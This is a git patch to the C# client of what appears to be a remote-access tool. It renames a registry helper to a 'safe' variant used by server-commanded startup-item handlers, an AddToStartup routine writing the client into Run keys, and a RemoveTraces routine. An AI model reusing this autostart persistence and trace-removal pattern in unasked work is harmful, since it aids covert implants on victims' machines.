From 7d153c416ceaa3cb4033538ff5da01d9b8879af6 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Tue, 2 Jun 2015 20:38:44 +0200 Subject: [PATCH] Added safe way to open subkey with write access --- Client/Core/Commands/SystemHandler.cs | 24 +++++++++---------- .../Core/Extensions/RegistryKeyExtensions.cs | 11 +++++++-- Client/Core/SystemCore.cs | 12 +++++----- 3 files changed, 27 insertions(+), 20 deletions(-) diff --git a/Client/Core/Commands/SystemHandler.cs b/Client/Core/Commands/SystemHandler.cs index 0523ccc1..37f34023 100644 --- a/Client/Core/Commands/SystemHandler.cs +++ b/Client/Core/Commands/SystemHandler.cs @@ -154,7 +154,7 @@ public static void HandleAddStartupItem(Packets.ServerPackets.AddStartupItem com switch (command.Type) { case 0: - using (var key = Registry.LocalMachine.OpenWritableSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) + using (var key = Registry.LocalMachine.OpenWritableSubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key == null) throw new ArgumentException("Registry key does not exist"); if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\"")) @@ -164,7 +164,7 @@ public static void HandleAddStartupItem(Packets.ServerPackets.AddStartupItem com } break; case 1: - using (var key = Registry.LocalMachine.OpenWritableSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) + using (var key = Registry.LocalMachine.OpenWritableSubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { if (key == null) throw new ArgumentException("Registry key does not exist"); if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\"")) @@ -174,7 +174,7 @@ public static void HandleAddStartupItem(Packets.ServerPackets.AddStartupItem com } break; case 2: - using (var key = Registry.CurrentUser.OpenWritableSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) + using (var key = Registry.CurrentUser.OpenWritableSubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key == null) throw new ArgumentException("Registry key does not exist"); if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\"")) @@ -184,7 +184,7 @@ public static void HandleAddStartupItem(Packets.ServerPackets.AddStartupItem com } break; case 3: - using (var key = Registry.CurrentUser.OpenWritableSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) + using (var key = Registry.CurrentUser.OpenWritableSubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { if (key == null) throw new ArgumentException("Registry key does not exist"); if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\"")) @@ -197,7 +197,7 @@ public static void HandleAddStartupItem(Packets.ServerPackets.AddStartupItem com if (OSInfo.Bits != 64) throw new NotSupportedException("Only on 64-bit systems supported"); - using (var key = Registry.LocalMachine.OpenWritableSubKey("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run")) + using (var key = Registry.LocalMachine.OpenWritableSubKeySafe("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key == null) throw new ArgumentException("Registry key does not exist"); if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\"")) @@ -210,7 +210,7 @@ public static void HandleAddStartupItem(Packets.ServerPackets.AddStartupItem com if (OSInfo.Bits != 64) throw new NotSupportedException("Only on 64-bit systems supported"); - using (var key = Registry.LocalMachine.OpenWritableSubKey("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) + using (var key = Registry.LocalMachine.OpenWritableSubKeySafe("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { if (key == null) throw new ArgumentException("Registry key does not exist"); if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\"")) @@ -262,7 +262,7 @@ public static void HandleAddRemoveStartupItem(Packets.ServerPackets.RemoveStartu case 0: using ( var key = - Registry.LocalMachine.OpenWritableSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) + Registry.LocalMachine.OpenWritableSubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key == null) throw new Exception("Registry key does not exist"); key.DeleteValue(command.Name, true); @@ -272,7 +272,7 @@ public static void HandleAddRemoveStartupItem(Packets.ServerPackets.RemoveStartu case 1: using ( var key = - Registry.LocalMachine.OpenWritableSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) + Registry.LocalMachine.OpenWritableSubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { if (key == null) throw new Exception("Registry key does not exist"); key.DeleteValue(command.Name, true); @@ -282,7 +282,7 @@ public static void HandleAddRemoveStartupItem(Packets.ServerPackets.RemoveStartu case 2: using ( var key = - Registry.CurrentUser.OpenWritableSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) + Registry.CurrentUser.OpenWritableSubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key == null) throw new Exception("Registry key does not exist"); key.DeleteValue(command.Name, true); @@ -292,7 +292,7 @@ public static void HandleAddRemoveStartupItem(Packets.ServerPackets.RemoveStartu case 3: using ( var key = - Registry.CurrentUser.OpenWritableSubKey( + Registry.CurrentUser.OpenWritableSubKeySafe( "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { if (key == null) throw new Exception("Registry key does not exist"); @@ -306,7 +306,7 @@ public static void HandleAddRemoveStartupItem(Packets.ServerPackets.RemoveStartu using ( var key = - Registry.LocalMachine.OpenWritableSubKey( + Registry.LocalMachine.OpenWritableSubKeySafe( "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key == null) throw new Exception("Registry key does not exist"); @@ -320,7 +320,7 @@ public static void HandleAddRemoveStartupItem(Packets.ServerPackets.RemoveStartu using ( var key = - Registry.LocalMachine.OpenWritableSubKey( + Registry.LocalMachine.OpenWritableSubKeySafe( "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) { if (key == null) throw new Exception("Registry key does not exist"); diff --git a/Client/Core/Extensions/RegistryKeyExtensions.cs b/Client/Core/Extensions/RegistryKeyExtensions.cs index 35209309..6cc82472 100644 --- a/Client/Core/Extensions/RegistryKeyExtensions.cs +++ b/Client/Core/Extensions/RegistryKeyExtensions.cs @@ -70,9 +70,16 @@ public static RegistryKey OpenReadonlySubKeySafe(this RegistryKey key, string na /// The name of the sub-key. /// Returns the sub-key obtained from the key and name provided; Returns null if /// unable to obtain a sub-key. - public static RegistryKey OpenWritableSubKey(this RegistryKey key, string name) + public static RegistryKey OpenWritableSubKeySafe(this RegistryKey key, string name) { - return key.OpenSubKey(name, true); + try + { + return key.OpenSubKey(name, true); + } + catch + { + return null; + } } /// diff --git a/Client/Core/SystemCore.cs b/Client/Core/SystemCore.cs index d59a6d3e..f6b6d818 100644 --- a/Client/Core/SystemCore.cs +++ b/Client/Core/SystemCore.cs @@ -415,7 +415,7 @@ public static void AddToStartup() { using ( RegistryKey key = - Registry.LocalMachine.OpenWritableSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run")) + Registry.LocalMachine.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key == null) throw new Exception(); key.SetValue(Settings.STARTUPKEY, InstallPath); @@ -428,7 +428,7 @@ public static void AddToStartup() { using ( RegistryKey key = - Registry.CurrentUser.OpenWritableSubKey( + Registry.CurrentUser.OpenWritableSubKeySafe( "Software\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key == null) throw new Exception(); @@ -447,7 +447,7 @@ public static void AddToStartup() { using ( RegistryKey key = - Registry.CurrentUser.OpenWritableSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run")) + Registry.CurrentUser.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key == null) throw new Exception(); key.SetValue(Settings.STARTUPKEY, InstallPath); @@ -588,7 +588,7 @@ public static void RemoveTraces() { using ( RegistryKey key = - Registry.LocalMachine.OpenWritableSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run")) + Registry.LocalMachine.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key != null) { @@ -602,7 +602,7 @@ public static void RemoveTraces() // try deleting from Registry.CurrentUser using ( RegistryKey key = - Registry.CurrentUser.OpenWritableSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run")) + Registry.CurrentUser.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key != null) { @@ -618,7 +618,7 @@ public static void RemoveTraces() { using ( RegistryKey key = - Registry.CurrentUser.OpenWritableSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run")) + Registry.CurrentUser.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run")) { if (key != null) {